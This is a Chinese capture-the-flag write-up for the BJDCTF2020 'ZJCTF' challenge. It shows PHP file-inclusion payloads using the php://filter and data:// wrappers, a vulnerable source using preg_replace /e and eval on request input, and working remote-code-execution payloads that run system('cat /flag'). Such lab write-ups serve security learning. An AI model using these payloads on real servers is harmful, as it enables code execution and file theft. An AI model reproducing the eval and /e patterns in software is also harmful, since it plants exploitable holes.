zoukankan      html  css  js  c++  java
  • [BJDCTF2020]ZJCTF,不过如此

    0x00 知识点

    本地文件包含伪协议

    ?text=php://input //执行
    post:
    
    I have a dream
    
    ?file=php://filter/read/convert.base64-encode/resource=index.php
    

    preg_replace()使用的/e模式可以存在远程执行代码
    链接:

    https://xz.aliyun.com/t/2557

    payload 为:

     /?.*={${phpinfo()}}
    


    即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}}

    payload2:

    S*=${phpinfo()}
    

    0x01 解题

    打开题目,给了我们源代码:

    分析一下:

    1:通过get方式传入$text和$file
    2:text变量中内容要是I have a dream
    3:file中不能有flag关键字
    

    一开始还想用正则贪婪模式匹配绕过。后来发现就是伪协议。。
    直接传参读取next.php源码:

    <?php
    $id = $_GET['id'];
    $_SESSION['id'] = $id;
    
    function complex($re, $str) {
        return preg_replace(
            '/(' . $re . ')/ei',
            'strtolower("\1")',
            $str
        );
    }
    
    
    foreach($_GET as $re => $str) {
        echo complex($re, $str). "
    ";
    }
    
    function getFlag(){
    	@eval($_GET['cmd']);
    }
    

    得到源码
    这里还有一种方式读取

    ?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64- encode/resource=next.php
    

    看源码
    preg_replace()的RCE
    payload1:利用源码给的getFlag函数

    /next.php?S*=${getflag()}&cmd=show_source(%22/flag%22);
    

    payload2:通过构造post传参

    next.php?S*=${eval($_POST[wtz])}
    POST:
    wtz=system("cat /flag");
    

    这个方法我bp并没成功,hackbar可以

  • 相关阅读:
    CodeForces
    CodeForces
    CodeForces
    HDU 6704 K-th occurrence(后缀数组,主席树,st表,二分)
    AcWing 1004. 品酒大会 (后缀数组,并查集)
    Gym
    codeforces 2100左右的DS题 做题记录
    P4768 [NOI2018] 归程 做题记录
    CSP 2021 智熄记
    「随笔」论打羽毛球的正确姿势
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12328083.html
Copyright © 2011-2022 走看看